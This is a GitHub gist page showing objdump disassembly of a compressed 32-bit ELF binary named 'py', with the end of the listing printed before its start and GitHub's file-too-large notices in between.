804edbd: 02 00 add (%eax),%al | |
804edbf: 02 60 01 add 0x1(%eax),%ah | |
804edc2: c0 04 c0 04 rolb $0x4,(%eax,%eax,8) | |
804edc6: c0 04 c0 04 rolb $0x4,(%eax,%eax,8) | |
804edca: c0 04 c0 04 rolb $0x4,(%eax,%eax,8) | |
804edce: c0 04 c0 04 rolb $0x4,(%eax,%eax,8) | |
804edd2: c0 04 c0 04 rolb $0x4,(%eax,%eax,8) | |
804edd6: c0 04 c0 04 rolb $0x4,(%eax,%eax,8) | |
804edda: c0 04 c0 04 rolb $0x4,(%eax,%eax,8) | |
804edde: c0 04 d8 08 rolb $0x8,(%eax,%ebx,8) | |
804ede2: d8 08 fmuls (%eax) | |
804ede4: d8 08 fmuls (%eax) | |
804ede6: d8 08 fmuls (%eax) | |
804ede8: d8 08 fmuls (%eax) | |
804edea: d8 08 fmuls (%eax) | |
804edec: d8 08 fmuls (%eax) | |
804edee: d8 08 fmuls (%eax) | |
804edf0: d8 08 fmuls (%eax) | |
804edf2: d8 08 fmuls (%eax) | |
804edf4: c0 04 c0 04 rolb $0x4,(%eax,%eax,8) | |
804edf8: c0 04 c0 04 rolb $0x4,(%eax,%eax,8) | |
804edfc: c0 04 c0 04 rolb $0x4,(%eax,%eax,8) | |
804ee00: c0 04 d5 08 d5 08 d5 rolb $0x8,-0x2af72af8(,%edx,8) | |
804ee07: 08 | |
804ee08: d5 08 aad $0x8 | |
804ee0a: d5 08 aad $0x8 | |
804ee0c: d5 08 aad $0x8 | |
804ee0e: c5 08 lds (%eax),%ecx | |
804ee10: c5 08 lds (%eax),%ecx | |
804ee12: c5 08 lds (%eax),%ecx | |
804ee14: c5 08 lds (%eax),%ecx | |
804ee16: c5 08 lds (%eax),%ecx | |
804ee18: c5 08 lds (%eax),%ecx | |
804ee1a: c5 08 lds (%eax),%ecx | |
804ee1c: c5 08 lds (%eax),%ecx | |
804ee1e: c5 08 lds (%eax),%ecx | |
804ee20: c5 08 lds (%eax),%ecx | |
804ee22: c5 08 lds (%eax),%ecx | |
804ee24: c5 08 lds (%eax),%ecx | |
804ee26: c5 08 lds (%eax),%ecx | |
804ee28: c5 08 lds (%eax),%ecx | |
804ee2a: c5 08 lds (%eax),%ecx | |
804ee2c: c5 08 lds (%eax),%ecx | |
804ee2e: c5 08 lds (%eax),%ecx | |
804ee30: c5 08 lds (%eax),%ecx | |
804ee32: c5 08 lds (%eax),%ecx | |
804ee34: c5 08 lds (%eax),%ecx | |
804ee36: c0 04 c0 04 rolb $0x4,(%eax,%eax,8) | |
804ee3a: c0 04 c0 04 rolb $0x4,(%eax,%eax,8) | |
804ee3e: c0 04 c0 04 rolb $0x4,(%eax,%eax,8) | |
804ee42: d6 (bad) | |
804ee43: 08 d6 or %dl,%dh | |
804ee45: 08 d6 or %dl,%dh | |
804ee47: 08 d6 or %dl,%dh | |
804ee49: 08 d6 or %dl,%dh | |
804ee4b: 08 d6 or %dl,%dh | |
804ee4d: 08 c6 or %al,%dh | |
804ee4f: 08 c6 or %al,%dh | |
804ee51: 08 c6 or %al,%dh | |
804ee53: 08 c6 or %al,%dh | |
804ee55: 08 c6 or %al,%dh | |
804ee57: 08 c6 or %al,%dh | |
804ee59: 08 c6 or %al,%dh | |
804ee5b: 08 c6 or %al,%dh | |
804ee5d: 08 c6 or %al,%dh | |
804ee5f: 08 c6 or %al,%dh | |
804ee61: 08 c6 or %al,%dh | |
804ee63: 08 c6 or %al,%dh | |
804ee65: 08 c6 or %al,%dh | |
804ee67: 08 c6 or %al,%dh | |
804ee69: 08 c6 or %al,%dh | |
804ee6b: 08 c6 or %al,%dh | |
804ee6d: 08 c6 or %al,%dh | |
804ee6f: 08 c6 or %al,%dh | |
804ee71: 08 c6 or %al,%dh | |
804ee73: 08 c6 or %al,%dh | |
804ee75: 08 c0 or %al,%al | |
804ee77: 04 c0 add $0xc0,%al | |
804ee79: 04 c0 add $0xc0,%al | |
804ee7b: 04 c0 add $0xc0,%al | |
804ee7d: 04 00 add $0x0,%al | |
804ee7f: 02 00 add (%eax),%al | |
... | |
Disassembly of section .ctors: | |
0804f000 <.ctors>: | |
804f000: ff (bad) | |
804f001: ff (bad) | |
804f002: ff (bad) | |
804f003: ff 00 incl (%eax) | |
804f005: 00 00 add %al,(%eax) | |
... | |
Disassembly of section .dtors: | |
0804f008 <.dtors>: | |
804f008: ff (bad) | |
804f009: ff (bad) | |
804f00a: ff (bad) | |
804f00b: ff 00 incl (%eax) | |
804f00d: 00 00 add %al,(%eax) | |
... | |
Disassembly of section .data: | |
0804f020 <.data>: | |
804f020: 00 00 add %al,(%eax) | |
804f022: 00 00 add %al,(%eax) | |
804f024: 0c f0 or $0xf0,%al | |
804f026: 04 08 add $0x8,%al | |
804f028: ff (bad) | |
804f029: ff (bad) | |
804f02a: ff (bad) | |
804f02b: ff (bad) | |
804f02c: ff (bad) | |
804f02d: ff (bad) | |
804f02e: ff (bad) | |
804f02f: ff 20 jmp *(%eax) | |
804f031: be 04 08 af fb mov $0xfbaf0804,%esi | |
804f036: de de (bad) | |
... | |
804f044: 01 00 add %eax,(%eax) | |
... | |
804f05a: 00 00 add %al,(%eax) | |
804f05c: 01 00 add %eax,(%eax) | |
... | |
804f072: 00 00 add %al,(%eax) | |
804f074: 01 00 add %eax,(%eax) | |
... | |
804f07e: 00 00 add %al,(%eax) | |
804f080: 93 xchg %eax,%ebx | |
804f081: e8 04 08 80 ed call 0xf584f88a | |
804f086: 04 08 add $0x8,%al | |
Disassembly of section .bss: | |
0804f0a0 <.bss>: | |
... |
This file has been truncated, but you can view the full file.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
> objdump --adjust-vma=0x08048000 -b binary -m i386 -D py --stop-address=0x0804bfe6 > loader0.asm | |
py: file format binary | |
Disassembly of section .data: | |
08048000 <.data>: | |
8048000: 7f 45 jg 0x8048047 | |
8048002: 4c dec %esp | |
8048003: 46 inc %esi | |
8048004: 01 01 add %eax,(%ecx) | |
8048006: 01 03 add %eax,(%ebx) | |
... | |
8048010: 02 00 add (%eax),%al | |
8048012: 03 00 add (%eax),%eax | |
8048014: 01 00 add %eax,(%eax) | |
8048016: 00 00 add %al,(%eax) | |
8048018: 08 b7 04 08 34 00 or %dh,0x340804(%edi) | |
... | |
8048026: 00 00 add %al,(%eax) | |
8048028: 34 00 xor $0x0,%al | |
804802a: 20 00 and %al,(%eax) | |
804802c: 03 00 add (%eax),%eax | |
804802e: 28 00 sub %al,(%eax) | |
8048030: 00 00 add %al,(%eax) | |
8048032: 00 00 add %al,(%eax) | |
8048034: 01 00 add %eax,(%eax) | |
8048036: 00 00 add %al,(%eax) | |
8048038: 00 00 add %al,(%eax) | |
804803a: 00 00 add %al,(%eax) | |
804803c: 00 80 04 08 00 80 add %al,-0x7ffff7fc(%eax) | |
8048042: 04 08 add $0x8,%al | |
8048044: e6 3f out %al,$0x3f | |
8048046: 00 00 add %al,(%eax) | |
8048048: e6 3f out %al,$0x3f | |
804804a: 00 00 add %al,(%eax) | |
804804c: 05 00 00 00 00 add $0x0,%eax | |
8048051: 10 00 adc %al,(%eax) | |
8048053: 00 01 add %al,(%ecx) | |
... | |
804805d: c0 04 08 00 rolb $0x0,(%eax,%ecx,1) | |
8048061: c0 04 08 00 rolb $0x0,(%eax,%ecx,1) | |
8048065: 00 00 add %al,(%eax) | |
8048067: 00 c0 add %al,%al | |
8048069: 35 00 00 06 00 xor $0x60000,%eax | |
804806e: 00 00 add %al,(%eax) | |
8048070: 00 10 add %dl,(%eax) | |
8048072: 00 00 add %al,(%eax) | |
8048074: 51 push %ecx | |
8048075: e5 74 in $0x74,%eax | |
8048077: 64 00 00 add %al,%fs:(%eax) | |
... | |
804808a: 00 00 add %al,(%eax) | |
804808c: 06 push %es | |
804808d: 00 00 add %al,(%eax) | |
804808f: 00 04 00 add %al,(%eax,%eax,1) | |
8048092: 00 00 add %al,(%eax) | |
8048094: 48 dec %eax | |
8048095: 15 6d 38 55 50 adc $0x5055386d,%eax | |
804809a: 58 pop %eax | |
804809b: 21 ec and %ebp,%esp | |
804809d: 08 0d 0c 00 00 00 or %cl,0xc | |
80480a3: 00 58 72 add %bl,0x72(%eax) | |
80480a6: 00 00 add %al,(%eax) | |
80480a8: 58 pop %eax | |
80480a9: 72 00 jb 0x80480ab | |
80480ab: 00 94 00 00 00 5b 00 add %dl,0x5b0000(%eax,%eax,1) | |
80480b2: 00 00 add %al,(%eax) | |
80480b4: 02 00 add (%eax),%al | |
80480b6: 00 00 add %al,(%eax) | |
80480b8: 7f 3f jg 0x80480f9 | |
80480ba: 64 f9 fs stc | |
80480bc: 7f 45 jg 0x8048103 | |
80480be: 4c dec %esp | |
80480bf: 46 inc %esi | |
80480c0: 01 00 add %eax,(%eax) | |
80480c2: 02 00 add (%eax),%al | |
80480c4: 03 00 add (%eax),%eax | |
80480c6: 0d 64 81 04 fd or $0xfd048164,%eax | |
80480cb: e6 b3 out %al,$0xb3 | |
80480cd: dd 08 fisttpll (%eax) | |
80480cf: 34 07 xor $0x7,%al | |
80480d1: c8 70 19 34 enter $0x1970,$0x34 | |
80480d5: 00 20 add %ah,(%eax) | |
80480d7: 28 00 sub %al,(%eax) | |
80480d9: 0a 00 or (%eax),%al | |
80480db: 09 00 or %eax,(%eax) | |
80480dd: f7 fc idiv %esp | |
80480df: 6b 93 2d 80 23 03 80 imul $0xffffff80,0x323802d(%ebx),%edx | |
80480e6: 6f outsl %ds:(%esi),(%dx) | |
80480e7: 00 00 add %al,(%eax) | |
80480e9: 05 13 5c 9a e6 add $0xe69a5c13,%eax | |
80480ee: ec in (%dx),%al | |
80480ef: 10 00 adc %al,(%eax) | |
80480f1: 1f pop %ds | |
80480f2: 70 f0 jo 0x80480e4 | |
80480f4: f0 88 00 lock mov %al,(%eax) | |
80480f7: 7b 1f jnp 0x8048118 | |
80480f9: 64 b9 c0 05 06 51 fs mov $0x510605c0,%ecx | |
80480ff: e5 74 in $0x74,%eax | |
8048101: 64 0a 03 or %fs:(%ebx),%al | |
8048104: 00 60 9a add %ah,-0x66(%eax) | |
8048107: 23 06 and (%esi),%eax | |
8048109: 04 00 add $0x0,%al | |
804810b: 00 00 add %al,(%eax) | |
804810d: 00 00 add %al,(%eax) | |
804810f: 00 00 add %al,(%eax) | |
8048111: 48 dec %eax | |
8048112: ff (bad) | |
8048113: ec in (%dx),%al | |
8048114: 6e outsb %ds:(%esi),(%dx) | |
8048115: 00 00 add %al,(%eax) | |
8048117: 9f lahf | |
8048118: 35 00 00 02 49 xor $0x49020000,%eax | |
804811d: 06 push %es | |
804811e: 00 77 5f add %dh,0x5f(%edi) | |
8048121: fb sti | |
8048122: ff 55 89 call *-0x77(%ebp) | |
8048125: e5 53 in $0x53,%eax | |
8048127: e8 06 00 00 18 call 0x20048132 | |
804812c: 81 c3 77 6f 06 0a add $0xa066f77,%ebx | |
8048132: 78 04 js 0x8048138 | |
8048134: 67 98 addr16 cwtl | |
8048136: 5b pop %ebx | |
8048137: ff 5d c0 lcall *-0x40(%ebp) | |
804813a: fe (bad) | |
804813b: 5d pop %ebp | |
804813c: c3 ret | |
804813d: 8b 1c 24 mov (%esp),%ebx | |
8048140: c3 ret | |
8048141: 90 nop | |
8048142: 00 2b add %ch,(%ebx) | |
8048144: 83 ec 08 sub $0x8,%esp | |
8048147: 80 3d a0 f0 04 08 fe cmpb $0xfe,0x804f0a0 | |
804814e: df dd (bad) | |
8048150: ff 00 incl (%eax) | |
8048152: 74 0c je 0x8048160 | |
8048154: eb 35 jmp 0x804818b | |
8048156: 83 c0 04 add $0x4,%eax | |
8048159: a3 24 0c ff d2 mov %eax,0xd2ff0c24 | |
804815e: a1 06 8b 10 85 mov 0x85108b06,%eax | |
8048163: d2 75 eb shlb %cl,-0x15(%ebp) | |
8048166: b8 00 ff b7 6f mov $0x6fb7ff00,%eax | |
804816b: ef out %eax,(%dx) | |
804816c: 00 85 c0 74 10 2b add %al,0x2b1074c0(%ebp) | |
8048172: 0c 68 or $0x68,%al | |
8048174: 80 ef 16 sub $0x16,%bh | |
8048177: e8 04 7f fb f7 call 0x80 | |
804817c: 83 c4 10 add $0x10,%esp | |
804817f: c6 05 16 fb de 7e 38 movb $0x38,0x7edefb16 | |
8048186: 01 c9 add %ecx,%ecx | |
8048188: 53 push %ebx | |
8048189: 8d b4 26 24 55 2a 54 lea 0x542a5524(%esi,%eiz,1),%esi | |
8048190: ee out %al,(%dx) | |
8048191: 8f (bad) | |
8048192: fd std | |
8048193: 2f das | |
8048194: 77 88 ja 0x804811e | |
8048196: 5a pop %edx | |
8048197: 81 c2 f4 6e 3b 15 add $0x153b6ef4,%edx | |
804819d: 52 push %edx | |
804819e: 6a 00 push $0x0 | |
80481a0: 68 a4 2d eb dc push $0xdceb2da4 | |
80481a5: 91 xchg %eax,%ecx | |
80481a6: 67 40 addr16 inc %eax | |
80481a8: c3 ret | |
80481a9: 7e a1 jle 0x804814c | |
80481ab: 10 11 adc %dl,(%ecx) | |
80481ad: 1d 16 62 bf ee sbb $0xeebf6216,%eax | |
80481b2: 77 0e ja 0x80481c2 | |
80481b4: 0d 14 ff d0 1e or $0x1ed0ff14,%eax | |
80481b9: c9 leave | |
80481ba: ac lods %ds:(%esi),%al | |
80481bb: 31 ed xor %ebp,%ebp | |
80481bd: fd std | |
80481be: 65 f7 ff gs idiv %edi | |
80481c1: 5e pop %esi | |
80481c2: 89 e1 mov %esp,%ecx | |
80481c4: 83 e4 f0 and $0xfffffff0,%esp | |
80481c7: 50 push %eax | |
80481c8: 54 push %esp | |
80481c9: 52 push %edx | |
80481ca: 68 56 e8 40 94 push $0x9440e856 | |
80481cf: 80 51 56 68 adcb $0x68,0x56(%ecx) | |
80481d3: 50 push %eax | |
80481d4: ac lods %ds:(%esi),%al | |
80481d5: 04 7f add $0x7f,%al | |
80481d7: f7 84 fd 64 5d 79 f4 testl $0x535657cf,-0xb86a29c(%ebp,%edi,8) | |
80481de: cf 57 56 53 | |
80481e2: 43 inc %ebx | |
80481e3: 8a 5d 0c mov 0xc(%ebp),%bl | |
80481e6: 0f b6 7d 10 movzbl 0x10(%ebp),%edi | |
80481ea: ff (bad) | |
80481eb: ed in (%dx),%eax | |
80481ec: ef out %eax,(%dx) | |
80481ed: 6e outsb %ds:(%esi),(%dx) | |
80481ee: 03 75 18 add 0x18(%ebp),%esi | |
80481f1: 23 40 69 and 0x69(%eax),%eax | |
80481f4: 83 f8 ff cmp $0xffffffff,%eax | |
80481f7: 74 04 je 0x80481fd | |
80481f9: 5f pop %edi | |
80481fa: 7e 0e jle 0x804820a | |
80481fc: 8d 65 f4 lea -0xc(%ebp),%esp | |
80481ff: 5b pop %ebx | |
8048200: 5e pop %esi | |
8048201: 5f pop %edi | |
8048202: 2e 93 cs xchg %eax,%ebx | |
8048204: bd 0b 09 8d b6 mov $0xb68d090b,%ebp | |
8048209: 71 1b jno 0x8048226 | |
804820b: 48 dec %eax | |
804820c: 75 4e jne 0x804825c | |
804820e: 77 fb ja 0x804820b | |
8048210: 76 ef jbe 0x8048201 | |
8048212: 37 aaa | |
8048213: 8b 45 08 mov 0x8(%ebp),%eax | |
8048216: 50 push %eax | |
8048217: 14 59 adc $0x59,%al | |
8048219: f4 hlt | |
804821a: 19 b5 28 6a 09 0e sbb %esi,0xe096a28(%ebp) | |
8048220: 77 ff ja 0x8048221 | |
8048222: 83 fd 41 cmp $0x41,%ebp | |
8048225: 1a c7 sbb %bh,%al | |
8048227: 04 24 add $0x24,%al | |
8048229: 2f das | |
804822a: 59 pop %ecx | |
804822b: 8d 89 f0 8b 5d 1c lea 0x1c5d8bf0(%ecx),%ecx | |
8048231: 25 ff 0e 53 50 and $0x50530eff,%eax | |
8048236: 89 59 e7 mov %ebx,-0x19(%ecx) | |
8048239: 3e f6 f8 ds idiv %al | |
804823c: 8b 4d 14 mov 0x14(%ebp),%ecx | |
804823f: 0b 51 50 or 0x50(%ecx),%edx | |
8048242: ff 12 call *(%edx) | |
8048244: b2 43 mov $0x43,%dl | |
8048246: 6a 26 push $0x26 | |
8048248: cd bd int $0xbd | |
804824a: bb fb 31 c0 a0 mov $0xa0c031fb,%ebx | |
804824f: bc c8 89 45 f0 mov $0xf04589c8,%esp | |
8048254: 77 e8 ja 0x804823e | |
8048256: 8b 0d c0 0c 13 db mov 0xdb130cc0,%ecx | |
804825c: 97 xchg %eax,%edi | |
804825d: 85 ff test %edi,%edi | |
804825f: 8b 11 mov (%ecx),%edx | |
8048261: 3a 5a 04 cmp 0x4(%edx),%bl | |
8048264: 75 0f jne 0x8048275 | |
8048266: eb ba jmp 0x8048222 | |
8048268: 32 74 8b 14 xor 0x14(%ebx,%ecx,4),%dh | |
804826c: 81 38 0e 74 ff 1f cmpl $0x1fff740e,(%eax) | |
8048272: fb sti | |
8048273: ed in (%dx),%eax | |
8048274: ad lods %ds:(%esi),%eax | |
8048275: 40 inc %eax | |
8048276: 3b 25 75 f2 eb c2 cmp 0xc2ebf275,%esp | |
804827c: 55 push %ebp | |
804827d: bd 3c 8b 5c 24 mov $0x245c8b3c,%ebp | |
8048282: 54 push %esp | |
8048283: 8b 74 24 50 mov 0x50(%esp),%esi | |
8048287: 83 fb 03 cmp $0x3,%ebx | |
804828a: b6 ff mov $0xff,%dh | |
804828c: 66 db 77 0c data16 (bad) 0xc(%edi) | |
8048290: 54 push %esp | |
8048291: 3c b1 cmp $0xb1,%al | |
8048293: 2f das | |
8048294: 2e 66 c1 cd 08 cs ror $0x8,%bp | |
8048299: 02 10 add (%eax),%dl | |
804829b: fd std | |
804829c: db b7 f6 06 1d 39 (bad) 0x391d06f6(%edi) | |
80482a2: e2 8a loop 0x804822e | |
80482a4: 46 inc %esi | |
80482a5: 04 07 add $0x7,%al | |
80482a7: 05 88 44 24 17 add $0x17244488,%eax | |
80482ac: 74 d6 je 0x8048284 | |
80482ae: 6f outsl %ds:(%esi),(%dx) | |
80482af: 1f pop %ds | |
80482b0: 5b pop %ebx | |
80482b1: b8 0b 05 84 42 mov $0x4284050b,%eax | |
80482b6: cf iret | |
80482b7: 8e 8d 53 fa 89 14 mov 0x1489fa53(%ebp),%cs | |
80482bd: 18 89 54 ee ff bf sbb %cl,-0x400011ac(%ecx) | |
80482c3: fb sti | |
80482c4: 24 30 and $0x30,%al | |
80482c6: 8d 04 80 lea (%eax,%eax,4),%eax | |
80482c9: 0a 10 or (%eax),%dl | |
80482cb: 39 c2 cmp %eax,%edx | |
80482cd: 72 b4 jb 0x8048283 | |
80482cf: 50 push %eax | |
80482d0: 50 push %eax | |
80482d1: 6a 18 push $0x18 | |
80482d3: 8d 7e 06 lea 0x6(%esi),%edi | |
80482d6: 8b 4c 24 24 mov 0x24(%esp),%ecx | |
80482da: 51 push %ecx | |
80482db: a4 movsb %ds:(%esi),%es:(%edi) | |
80482dc: bb b0 75 dd 4f mov $0x4fdd75b0,%ebx | |
80482e1: 4c dec %esp | |
80482e2: 18 48 b5 sbb %cl,-0x4b(%eax) | |
80482e5: 8b 26 mov (%esi),%esp | |
80482e7: 18 e9 sbb %ch,%cl | |
80482e9: 7e 3d jle 0x8048328 | |
80482eb: 07 pop %es | |
80482ec: f6 9f 70 bb 10 89 negb -0x76ef4490(%edi) | |
80482f2: c1 69 16 06 |
View raw
(Sorry about that, but we can’t show files that are this big right now.)
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment